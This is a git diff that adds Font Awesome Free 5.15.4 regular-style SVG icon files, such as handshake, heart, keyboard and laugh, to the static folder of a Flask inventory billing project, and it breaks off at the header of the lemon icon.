+++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/handshake.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M519.2 127.9l-47.6-47.6A56.252 56.252 0 0 0 432 64H205.2c-14.8 0-29.1 5.9-39.6 16.3L118 127.9H0v255.7h64c17.6 0 31.8-14.2 31.9-31.7h9.1l84.6 76.4c30.9 25.1 73.8 25.7 105.6 3.8 12.5 10.8 26 15.9 41.1 15.9 18.2 0 35.3-7.4 48.8-24 22.1 8.7 48.2 2.6 64-16.8l26.2-32.3c5.6-6.9 9.1-14.8 10.9-23h57.9c.1 17.5 14.4 31.7 31.9 31.7h64V127.9H519.2zM48 351.6c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16c0 8.9-7.2 16-16 16zm390-6.9l-26.1 32.2c-2.8 3.4-7.8 4-11.3 1.2l-23.9-19.4-30 36.5c-6 7.3-15 4.8-18 2.4l-36.8-31.5-15.6 19.2c-13.9 17.1-39.2 19.7-55.3 6.6l-97.3-88H96V175.8h41.9l61.7-61.6c2-.8 3.7-1.5 5.7-2.3H262l-38.7 35.5c-29.4 26.9-31.1 72.3-4.4 101.3 14.8 16.2 61.2 41.2 101.5 4.4l8.2-7.5 108.2 87.8c3.4 2.8 3.9 7.9 1.2 11.3zm106-40.8h-69.2c-2.3-2.8-4.9-5.4-7.7-7.7l-102.7-83.4 12.5-11.4c6.5-6 7-16.1 1-22.6L367 167.1c-6-6.5-16.1-6.9-22.6-1l-55.2 50.6c-9.5 8.7-25.7 9.4-34.6 0-9.3-9.9-8.5-25.1 1.2-33.9l65.6-60.1c7.4-6.8 17-10.5 27-10.5l83.7-.2c2.1 0 4.1.8 5.5 2.3l61.7 61.6H544v128zm48 47.7c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16c0 8.9-7.2 16-16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hdd.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hdd.svg new file mode 100644 index 00000000..4366d361 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hdd.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M567.403 235.642L462.323 84.589A48 48 0 0 0 422.919 64H153.081a48 48 0 0 0-39.404 20.589L8.597 235.642A48.001 48.001 0 0 0 0 263.054V400c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V263.054c0-9.801-3-19.366-8.597-27.412zM153.081 112h269.838l77.913 112H75.168l77.913-112zM528 400H48V272h480v128zm-32-64c0 17.673-14.327 32-32 32s-32-14.327-32-32 14.327-32 32-32 32 14.327 32 32zm-96 0c0 17.673-14.327 32-32 32s-32-14.327-32-32 14.327-32 32-32 32 14.327 32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/heart.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/heart.svg new file mode 100644 index 00000000..712a71db --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/heart.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M458.4 64.3C400.6 15.7 311.3 23 256 79.3 200.7 23 111.4 15.6 53.6 64.3-21.6 127.6-10.6 230.8 43 285.5l175.4 178.7c10 10.2 23.4 15.9 37.6 15.9 14.3 0 27.6-5.6 37.6-15.8L469 285.6c53.5-54.7 64.7-157.9-10.6-221.3zm-23.6 187.5L259.4 430.5c-2.4 2.4-4.4 2.4-6.8 0L77.2 251.8c-36.5-37.2-43.9-107.6 7.3-150.7 38.9-32.7 98.9-27.8 136.5 10.5l35 35.7 35-35.7c37.8-38.5 97.8-43.2 136.5-10.6 51.1 43.1 43.5 113.9 7.3 150.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hospital.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hospital.svg new file mode 100644 index 00000000..466446f6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hospital.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M128 244v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12zm140 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm-76 84v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm76 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm180 124v36H0v-36c0-6.627 5.373-12 12-12h19.5V85.035C31.5 73.418 42.245 64 55.5 64H144V24c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v40h88.5c13.255 0 24 9.418 24 21.035V464H436c6.627 0 12 5.373 12 12zM79.5 463H192v-67c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v67h112.5V112H304v24c0 13.255-10.745 24-24 24H168c-13.255 0-24-10.745-24-24v-24H79.5v351zM266 64h-26V38a6 6 0 0 0-6-6h-20a6 6 0 0 0-6 6v26h-26a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6h26v26a6 6 0 0 0 6 6h20a6 6 0 0 0 6-6V96h26a6 6 0 0 0 6-6V70a6 6 0 0 0-6-6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hourglass.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hourglass.svg new file mode 100644 index 00000000..81b0748b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hourglass.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M368 48h4c6.627 0 12-5.373 12-12V12c0-6.627-5.373-12-12-12H12C5.373 0 0 5.373 0 12v24c0 6.627 5.373 12 12 12h4c0 80.564 32.188 165.807 97.18 208C47.899 298.381 16 383.9 16 464h-4c-6.627 0-12 5.373-12 12v24c0 6.627 5.373 12 12 12h360c6.627 0 12-5.373 12-12v-24c0-6.627-5.373-12-12-12h-4c0-80.564-32.188-165.807-97.18-208C336.102 213.619 368 128.1 368 48zM64 48h256c0 101.62-57.307 184-128 184S64 149.621 64 48zm256 416H64c0-101.62 57.308-184 128-184s128 82.38 128 184z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/id-badge.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/id-badge.svg new file mode 100644 index 00000000..ce9b5fc4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/id-badge.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm0 464H48V48h288v416zM144 112h96c8.8 0 16-7.2 16-16s-7.2-16-16-16h-96c-8.8 0-16 7.2-16 16s7.2 16 16 16zm48 176c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/id-card.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/id-card.svg new file mode 100644 index 00000000..3582913e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/id-card.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 400H303.2c.9-4.5.8 3.6.8-22.4 0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6 0 26-.2 17.9.8 22.4H48V144h480v288zm-168-80h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm-168 96c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/image.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/image.svg new file mode 100644 index 00000000..b3839b1d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/image.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm-6 336H54a6 6 0 0 1-6-6V118a6 6 0 0 1 6-6h404a6 6 0 0 1 6 6v276a6 6 0 0 1-6 6zM128 152c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zM96 352h320v-80l-87.515-87.515c-4.686-4.686-12.284-4.686-16.971 0L192 304l-39.515-39.515c-4.686-4.686-12.284-4.686-16.971 0L96 304v48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/images.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/images.svg new file mode 100644 index 00000000..5982b538 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/images.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M480 416v16c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v48H54a6 6 0 0 0-6 6v244a6 6 0 0 0 6 6h372a6 6 0 0 0 6-6v-10h48zm42-336H150a6 6 0 0 0-6 6v244a6 6 0 0 0 6 6h372a6 6 0 0 0 6-6V86a6 6 0 0 0-6-6zm6-48c26.51 0 48 21.49 48 48v256c0 26.51-21.49 48-48 48H144c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h384zM264 144c0 22.091-17.909 40-40 40s-40-17.909-40-40 17.909-40 40-40 40 17.909 40 40zm-72 96l39.515-39.515c4.686-4.686 12.284-4.686 16.971 0L288 240l103.515-103.515c4.686-4.686 12.284-4.686 16.971 0L480 208v80H192v-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/keyboard.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/keyboard.svg new file mode 100644 index 00000000..58581057 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/keyboard.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M528 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm8 336c0 4.411-3.589 8-8 8H48c-4.411 0-8-3.589-8-8V112c0-4.411 3.589-8 8-8h480c4.411 0 8 3.589 8 8v288zM170 270v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm-336 82v-28c0-6.627-5.373-12-12-12H82c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm384 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zM122 188v-28c0-6.627-5.373-12-12-12H82c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm-98 158v-16c0-6.627-5.373-12-12-12H180c-6.627 0-12 5.373-12 12v16c0 6.627 5.373 12 12 12h216c6.627 0 12-5.373 12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/kiss-beam.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/kiss-beam.svg new file mode 100644 index 00000000..4586da80 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/kiss-beam.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M168 152c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2 7.2 5.6 8.3 3.5 1 7.5-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 5.9-4.5 5.6-8.3-3.1-42.1-32-71.4-55.8-71.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm56-148c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36C290.6 335.3 304 321 304 308zm24-156c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2 7.2 5.6 8.3 3.5 1 7.5-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 5.9-4.5 5.6-8.3-3.1-42.1-32-71.4-55.8-71.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/kiss-wink-heart.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/kiss-wink-heart.svg new file mode 100644 index 00000000..91005cf4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/kiss-wink-heart.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 504 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M304 308.5c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36 21.7-9.1 35.1-23.4 35.1-36.4zm70.5-83.5l9.5 8.5c3.8 3.3 9.3 4 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-4-25.2-34.2-42.1-59.8-42.1s-55.9 16.9-59.8 42.1c-.8 5 1.7 10 6.1 12.4 5.8 3.1 11.2.7 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0zM136 208.5c0 17.7 14.3 32 32 32s32-14.3 32-32-14.3-32-32-32-32 14.3-32 32zm365.1 194c-8-20.8-31.5-31.5-53.1-25.9l-8.4 2.2-2.3-8.4c-5.9-21.4-27-36.5-49-33-25.2 4-40.6 28.6-34 52.6l22.9 82.6c1.5 5.3 7 8.5 12.4 7.1l83-21.5c24.1-6.3 37.7-31.8 28.5-55.7zM334 436.3c-26.1 12.5-55.2 19.7-86 19.7-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200c0 22.1-3.7 43.3-10.4 63.2 9 6.4 17 14.2 22.6 23.9 6.4.1 12.6 1.4 18.6 2.9 10.9-27.9 17.1-58.2 17.1-90C496 119 385 8 248 8S0 119 0 256s111 248 248 248c35.4 0 68.9-7.5 99.4-20.9-2.5-7.3 4.3 17.2-13.4-46.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/kiss.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/kiss.svg new file mode 100644 index 00000000..c82f1fdd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/kiss.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M168 176c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm136 132c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36C290.6 335.3 304 321 304 308zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm80-280c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/laugh-beam.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/laugh-beam.svg new file mode 100644 index 00000000..8ba34b7e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/laugh-beam.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM328 152c-23.8 0-52.7 29.3-56 71.4-.7 8.6 10.8 11.9 14.9 4.5l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c4.1 7.4 15.6 4 14.9-4.5-3.1-42.1-32-71.4-55.8-71.4zm-201 75.9l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c4.1 7.4 15.6 4 14.9-4.5-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.6 8.5 10.9 11.9 15.1 4.5zM362.4 288H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/laugh-squint.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/laugh-squint.svg new file mode 100644 index 00000000..79298716 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/laugh-squint.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM343.6 196l33.6-40.3c8.6-10.3-3.8-24.8-15.4-18l-80 48c-7.8 4.7-7.8 15.9 0 20.6l80 48c11.5 6.8 24-7.6 15.4-18L343.6 196zm-209.4 58.3l80-48c7.8-4.7 7.8-15.9 0-20.6l-80-48c-11.6-6.9-24 7.7-15.4 18l33.6 40.3-33.6 40.3c-8.7 10.4 3.8 24.8 15.4 18zM362.4 288H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/laugh-wink.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/laugh-wink.svg new file mode 100644 index 00000000..a9a27baf --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/laugh-wink.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6C68.8 359.6 48 309.4 48 256s20.8-103.6 58.6-141.4C144.4 76.8 194.6 56 248 56s103.6 20.8 141.4 58.6c37.8 37.8 58.6 88 58.6 141.4s-20.8 103.6-58.6 141.4zM328 164c-25.7 0-55.9 16.9-59.9 42.1-1.7 11.2 11.5 18.2 19.8 10.8l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c8.5 7.4 21.6.3 19.8-10.8-3.8-25.2-34-42.1-59.7-42.1zm-160 60c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm194.4 64H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/laugh.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/laugh.svg new file mode 100644 index 00000000..ad853c28 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/laugh.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM328 224c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm-160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm194.4 64H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/lemon.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/lemon.svg new file mode 100644 index 00000000..4f670392 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing 